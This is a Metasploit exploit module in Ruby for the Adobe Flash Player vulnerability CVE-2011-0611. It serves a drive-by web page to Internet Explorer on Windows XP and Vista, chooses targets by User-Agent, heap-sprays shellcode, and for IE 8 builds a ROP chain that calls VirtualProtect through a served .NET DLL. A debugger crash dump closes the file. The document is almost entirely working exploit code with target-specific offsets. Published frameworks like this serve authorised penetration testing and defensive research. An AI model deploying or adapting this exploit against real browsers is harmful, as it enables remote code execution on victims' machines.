##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Adobe Flash Player 10.2.153.1 SWF Memory Corruption Vulnerability",
			'Description'    => %q{
					This module exploits a vulnerability in Adobe Flash Player that was discovered, and
				has been exploited actively in the wild.  By embedding a specially crafted .swf file,
				Adobe Flash crashes due to an invalid use of an object type, which allows attackers to
				overwrite a pointer in memory, and results arbitrary code execution.
			},
			'License'        => MSF_LICENSE,
			'Version'        => "$Revision$",
			'Author'         =>
				[
					'sinn3r',
				],
			'References'     =>
				[
					[ 'CVE', '2011-0611' ],
					[ 'OSVDB', '71686' ],
					[ 'BID', '47314' ],
					[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb11-07.html' ],
					[ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2011/04/12/analysis-of-the-cve-2011-0611-adobe-flash-player-vulnerability-exploitation.aspx' ],
					[ 'URL', 'http://contagiodump.blogspot.com/2011/04/apr-8-cve-2011-0611-flash-player-zero.html' ],
					[ 'URL', 'http://bugix-security.blogspot.com/2011/04/cve-2011-0611-adobe-flash-zero-day.html' ],
					[ 'URL', 'http://secunia.com/blog/210' ],
				],
			'Payload'        =>
				{
					'Space'           => 2048,
					'BadChars'        => "\x00",
					'StackAdjustment' => -3500,
				},
			'DefaultOptions' =>
				{
					'ExitFunction'         => "process",
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', {} ],
					[
						'IE 6 on Windows XP SP3',
							{
								'blockSize'   => "0x10101",
								'spraySize'   => "0x802",
								'paddSize'    => "640",
							},
					],
					[
						'IE 7 on Windows XP SP3',
							{
								'blockSize'   => "0xf90",
								'spraySize'   => "0x8efc",
								'paddSize'    => "600",
							}
					],
					[
						#This target requires .NET CLR 2.0.50727
						'IE 8 on Windows XP SP3',
							{
								'blockSize'   => "0xf90",
								'spraySize'   => "0x8efc",
								'paddSize'    => "502",
							}
					],
					[
						'IE 7 on Windows Vista',
							{
								'blockSize'   => "0x10101",
								'spraySize'   => "0x802",
								'paddSize'    => "502",
							}
					]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Apr 11 2011",
			'DefaultTarget'  => 0))
	end

	def on_request_uri(cli, request)

		agent = request.headers['User-Agent']
		mytarget = ''
		js_net_dll = ''
		rop_gadgets = [0x0c0c0c0c].pack('V*')

		#Determine if exploit suits the target
		if agent =~ /MSIE 6\.0/
			mytarget = targets[1]
		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
			mytarget = targets[2]
		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/ and agent =~ /\.NET CLR 2\.0/
			mytarget = targets[3]

			net_dll_name = "#{get_resource}/generic-" + Time.now.to_i.to_s + ".dll"
			js_net_dll = "<object classid=\"#{net_dll_name}\"#GenericControl\"></object>"
			rop_gadgets =
			[

				0x63f05472,  #POP EDI; POP ESI; RETN (mscorie.dll)
				0x41414141,  #EDI
				0x77c15ed5,  #XCHG EAX,ESP; RETN (msvcrt.dll)
				0x63f04d74,  #CALL mscorie!_imp_VirtualProtect
				0x11111134,  #Param: shellcode (Target address = 0x11111110+0x24)
				0x900,       #Param: size (2304)
				0x40,        #Param: newProtect
				0x11111110,  #Param: oldProtect
				0x11111134,  #RETN (Target address = 0x11111110+0x24)

			].pack('V*')

		elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/
			mytarget = targets[4]
		else
			send_not_found(cli)
			print_error("#{cli.peerhost}:#{cli.peerport} Unknown user-agent")
			return
		end	

		if request.uri =~ /\.swf/
			print_status("Sending trigger SWF to #{cli.peerhost}:#{cli.peerport}...")
			send_response(cli, @trigger, {'Content-Type'=>'application/x-shockwave-flash'} )
			return
		elsif request.uri =~ /\.dll$/
			print_status("Sending .NET dll to #{cli.peerhost}:#{cli.peerport}...")
			ibase = (0x2000 | rand(0x8000)) << 16
			dll = Msf::Util::EXE.to_dotnetmem(ibase, rand_text(16))
			send_response(cli, dll, { 'Content-Type'=>'application/x-msdownload', 'Connection'=>'close', 'Pragma'=>'no-cache' } )
			return
		end

		blockSize   = mytarget['blockSize']
		spraySize   = mytarget['spraySize']
		paddSize    = mytarget['paddSize']

		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
		nops      = Rex::Text.to_unescape( [0x0c0c0c0c].pack('V') , Rex::Arch.endian(target.arch))

		swf_name               = rand_text_alpha(rand(3))
		js_func_name           = rand_text_alpha(rand(6) +3)
		js_var_blocks_name     = rand_text_alpha(rand(6) + 3)
		js_var_shell_name      = rand_text_alpha(rand(6) + 3)
		js_var_nopsled_name    = rand_text_alpha(rand(6) + 3)
		js_var_index_name      = rand_text_alpha(rand(6) + 3)
		js_var_padding_offset  = rand_text_alpha(rand(6) + 3)
		js_var_rop_name        = rand_text_alpha(rand(6) + 3)
		js_var_roppadding_name = rand_text_alpha(rand(6) + 3)
		trigger_file_name      = "#{get_resource}/#{swf_name}.swf"
		js_rop                 = Rex::Text.to_unescape(rop_gadgets, Rex::Arch.endian(target.arch))

		html = <<-EOS
		<html>
		<head>
		<script>
		function #{js_func_name}() {
			var #{js_var_blocks_name} = new Array();
			var #{js_var_rop_name} = unescape("#{js_rop}");
			var #{js_var_shell_name} = unescape("#{shellcode}");
			var #{js_var_nopsled_name} = unescape("#{nops}");
			while (#{js_var_nopsled_name}.length < #{blockSize}) { #{js_var_nopsled_name} += unescape("#{nops}") };
			var #{js_var_roppadding_name} = #{js_var_nopsled_name}.substring(0, #{paddSize});
			var #{js_var_padding_offset} = #{js_var_roppadding_name}.length + #{js_var_rop_name}.length + #{js_var_shell_name}.length;
			#{js_var_nopsled_name} = #{js_var_nopsled_name}.substring(#{js_var_padding_offset}, #{js_var_nopsled_name}.length);
			#{js_var_blocks_name}[0] = ["" + #{js_var_roppadding_name} + #{js_var_rop_name} + #{js_var_shell_name} + #{js_var_nopsled_name}].join("");
			for (#{js_var_index_name}=1; #{js_var_index_name} < #{spraySize}; #{js_var_index_name}++) {
				#{js_var_blocks_name}[#{js_var_index_name}] = #{js_var_blocks_name}[0].substring(0, #{js_var_blocks_name}[0].length);
			}
		}
		#{js_func_name}();
		</script>
		</head>
		<body>
		#{js_net_dll}
		<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="0" height="0"
		codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
		<param name="movie" value="#{trigger_file_name}" />
		<embed src="#{trigger_file_name}" quality="high" type="application/x-shockwave-flash"
		pluginspage="http://www.macromedia.com/go/getflashplayer">
		</embed>
		</body>
		</html>
		EOS

		html = html.gsub(/^\t\t/, "")

		print_status("Sending malicious HTML to #{cli.peerhost}:#{cli.peerport}...")
		send_response(cli, html, {'Content-Type' => "text/html"} )
	end

	def exploit
		path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2011-0611.swf")
		f = File.open(path, "rb")
		@trigger = f.read(f.stat.size)
		f.close

		super
	end
end


=begin
0:000> r
eax=11111110 ebx=00000000 ecx=01d650b0 edx=00000007 esi=0013c2f0 edi=01d650b0
eip=100d01f6 esp=0013c12c ebp=0013c230 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00050202
Flash10o+0xd01f6:
100d01f6 ff5008          call    dword ptr [eax+8]    ds:0023:11111118=????????
0:000> dd ecx
01d650b0  11111110 00000000 00000000 00000000
01d650c0  00000000 00000000 00000000 00000000
01d650d0  00000000 00000000 00000000 00000000
01d650e0  00000000 00000000 00000000 00000000
01d650f0  00000000 00000000 00000000 00000000
01d65100  00000000 00000000 00000000 00000000
01d65110  00000000 00000000 00000000 00000000
01d65120  00000000 00000000 00000000 00000000
=end